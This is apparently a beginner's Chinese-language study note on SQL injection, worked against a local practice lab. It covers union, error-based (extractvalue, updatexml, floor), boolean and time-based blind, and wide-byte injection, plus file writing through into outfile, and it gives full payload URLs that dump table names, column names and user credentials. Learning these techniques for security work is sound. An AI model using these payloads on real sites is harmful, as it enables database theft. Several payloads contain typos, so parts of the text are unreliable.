前言

本文是初学web安全时写的,有许多地方不够严谨,逻辑上也存在问题,请见谅~

SQL注入

当客户端提交的数据未作处理或转义,直接带入数据库

具体来说,当Web应用程序对用户输入数据的合理性没有进行判断时,前端传入后端的参数就可能被攻击者所控制,并且根据这些参数带入数据库查询。攻击者可以通过构造不同的SQL语句来对数据库进行任意查询、增加、删除或修改等操作——->(通过构造一条精巧的语句来查询想要得到的信息 )

image-20240526103238238

分类

  • 按照查询字段

    1. 字符型:当输入的参数为字符串时,称为字符型
    2. 数字型:当输入的参数为整形时,可以认为是数字型注入
  • 按照注入方法

    1. Union注入(联合注入)
    2. 报错注入
    3. 布尔注入
    4. 时间注入

注入点

是可以实行注入的地方,通常是一个访问数据库的连接

比如

1
http://2.0.0.1/sql/Less-1/index.php?id= //id这个地方就是一个注入点

判断字符型注入和数字型注入

数字型一般提交内容为数字,但是数字不一定为数字型

1.使用and 1=1 和 and 1=2来判断

  • 如果提交and 1=1 和 and 1=2都能正常显示界面,则为字符型注入,原因是输入的东西相当于被引号括起来了,and就不是 指令(字符型需要闭合符’’来提交)
  • 如果提交and 1=1能正常显示,提交and 1=2不能正常显示,则为数字型

2.可以使用 2-1判断

1
2
3
http://2.0.0.1/sql/Less-1/index.php?id= 2-1
//数字型:会查找id=1的值
//字符型:不能运算,仍然显示原来的结果

ps:为什么不用+?+有的时候会被理解为空格

闭合方式

‘ , “ , ‘) , “)

image-20240526111309175

闭合的作用

手动提交闭合符号,结束前一段查询语句

后面即可加入其他语句,查询需要的参数

不需要的语句可以用注释符号’–+’或’#’或’%23’注释掉

Union联合注入

注意:联合查询必须要求列数一致,否则报错

查询回显位:

查询回显位通常指的是在执行查询操作后,确定查询结果在页面上的哪个位置显示出来。这通常与网页开发、数据库查询以及命令行界面操作相关。

步骤

​ 0.查找注入点

  1. 先判断字符型注入还是数字型注入,如果是字符型,找到它的闭合方式

    1
    2
    3
    4
    5
    6
    /*
    1.字符型:要自己加一个闭合符提前结束闭合,不然group by语句被闭合就失效了 ?id=1' group by 10 --+
    2.数字型:直接group by

    ----用order by也可以-----
    */
  2. 二分法判断列数(group by/order by),比如先group by 10 再group by 5这样

  3. 根据列数进行union查询

    1
    2
    3
    -- 比如得到列数是3
    字符型?id=1' union select 1,2,3 --+
    -- 如果想看到联合查询查出来的东西,那么需要让前面为假(可以让id等于一个没有的值)
  4. 查询回显位置

拿到表名

!!!数据库information_schema

image-20240526115628523

image-20240526115917401

1
2
-- 比如对于Less-1(字符型)
...../index.php?id=0' union select 1,table_name,3 from information_schema.tables where table_schema=database() --+ 加上where限定是回显位显示的更准确,直接等于database()能更好绕过防火墙

即使加上了where限定,但是对于多个属于同一个库的表,还是会出现回显位只能显示第一个表的情况。这时需要group_concat()

1
/index.php?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where schema.table_scema=database() --+  就能显示属于当前库所有表

拿到列名

与前面类似

1
/index.php?id=0' union select 1,column_name,3 from information_schema.columns where table_shcema=database() and table_name = 'users' --+ 

可以获取到表名为users,列名id,username,password,然后就可以获取全部信息了

1
字符型:/index.php id=-1' union select 1,group_concat(username,password),3 from user --+

group_concat()之间可以自己加入分隔符加强可读性

数字型union注入

与字符型的区别:不用判断闭合方式

报错注入

image-20240528211433326

image-20240528211558846

报错注入:构造语句,让错误信息中夹杂可以显示数据库内容的查询语句

extractvalue注入

1
select extractvalue(列名(XML文档对象名称),路径) from 表名;-- 注入的时候不考虑列到底存不存在

如何让它报错

1.如果只是写错路径下的名字,不会报错,只是找不到

2.路径格式错误,报错,会把错的路径报出来

​ 构造思路:既然错的路径会被报出来,能不能利用这一点,在报错这个地方报错之前先回显一些有用的信息

1
2
select extractvalue(列名,concat(0x7e,(select database())) from 表名;
-- 0x7e是~的ASCII值,使路径错误引起报错
1
2
3
index.php?id=1 union select 1,2,extractvalue(1,concat(0x7e,(concat(select database()))))-- 路径错误引起报错,可以回显当前数据库的名字
-- 也可以这么写
index.php?id=1 and 1=extractvalue(1,concat(0x7e,(concat(select database()))))

如何获得不同的信息

在concat的第二个参数动手脚

获取表名

1
index.php?id=1 and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))

获取列名

1
index.php?id=1 and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')))

获取详细信息

1
index.php?id=1 and 1=extractvalue(1,concat(0x7e,(select group_by(id,username,password) from 想查的表名)))

ps:报错的回显位最多只能显示32个字符,可以用substring解决这个问题

image-20240528221919149

1
index.php?id=1 and 1=extractvalue(1,concat(0x7e,(select substring(group_by(id,username,password),30,30) from 想查的表名)))-- 从第30个字符再往后显示30个字符

updatexml注入

image-20240529195843202

原理

与extractvalue()一样,在第二个参数-xml路径上动手脚,参数用法也和extractvalue()一样

image-20240529203522024

floor报错

image-20240530194406277

image-20240530194758581

image-20240530195254834

image-20240530195420894

[image-20240530195631365](https://raw.githubusercontent.com/blkheadfish/picGo/main/imgs/image-20240530195631365.png)

报错原理

image-20240530195837830

image-20240530200128695

分析

rand()中传入0后,floor(rand(0)*2)随机出的字符串为01101,rand()函数进行分组group by和统计count()时可能会多次执行,导致键值key重复

image-20240530200925145

第一次统计时,group_key里面没有security-0这个键值,concat_ws()要重新计算一个键值给它(指group_key),计算的结果就是0下一位security-1,加入group_key中,进行统计;第二次统计时,键值存在,其实算的是第三位的security-1,键值存在,count()++;再下一位,遇到security-0,键值不存在,重新计算到下一位security-1,加入group_key中,但是原本已经有security-1这个键值了,发生键值冲突,报错

1
2
3
4
select count(*),concat_ws('-',(database()),floor(rand(0)*2)) as a from 表名 group by a;
/*
这里的from 表名 是为了让rand()产生足够多次数的计算,一般使用行数较多的默认数据表,比如information_schema.tables
*/

image-20240530204447733

image-20240530204814161

盲注

image-20240531192921629

布尔盲注

web页面只返回true真和false假 两种类型,利用页面返回不同,逐个猜解数据

image-20240531193540223

image-20240531193831806

image-20240531193916885

image-20240531194307123

但是ascii()并不能对字符串中的每个字符都求得ascii值,只能显示第一个字符的ascii码值,所以需要substr(str,n,k)/substring(str,n,k)来辅助(从第n个字符开始显示k个字符)

1
index.php?id=1 and substr(('abcd'),1,1) //把abcd换成想要的语句

image-20240531200528918

时间盲注

image-20240601171037072

image-20240601171205061

image-20240601172051556

1
-- 可以根据页面响应时间判断字符型-闭合方式/数字型

image-20240602133523744

1
2
-- example
select if(acsii(substr((select database()),1,1))>=97,sleep(10),sleep(0))

image-20240602131930143

image-20240602133433995

宽字节注入

image-20240609110750885

image-20240609110940222

局限性:宽字节注入必须使用GBKB编码

image-20240609111123311

意思就是%5c()原本应该和后面的单引号结合,但是却被解析成和前面自己输入进去的一个字符结合,使得\失去自己的作用

image-20240609111912926

1
http://192.168.127.186/sql/Less-32/index.php?id=-1%df' union select 1,group_concat(username,id,password),3 from users --+

注入文件上传

mysql文件上传要点

1
2
3
show variables like '%secure%'; -- 来查看MySQL是否有读写文件权限,如果secure_file_priv的值是空的,那么MySQL可以在任何位置读取和写入文件(这通常是不安全的)。如果它被设置为一个目录的路径,那么MySQL只能在该目录内读取和写入文件

into outfile 命令的使用环境:必须知道一个,服务器上可以写入文件的文件夹的完整路径

步骤

还是先判断字符型和数字型

如果是字符型,再判断闭合方式 加上and 1=2 和and 1=1判断闭合符是否正确

然后判断列数

image-20240602135914074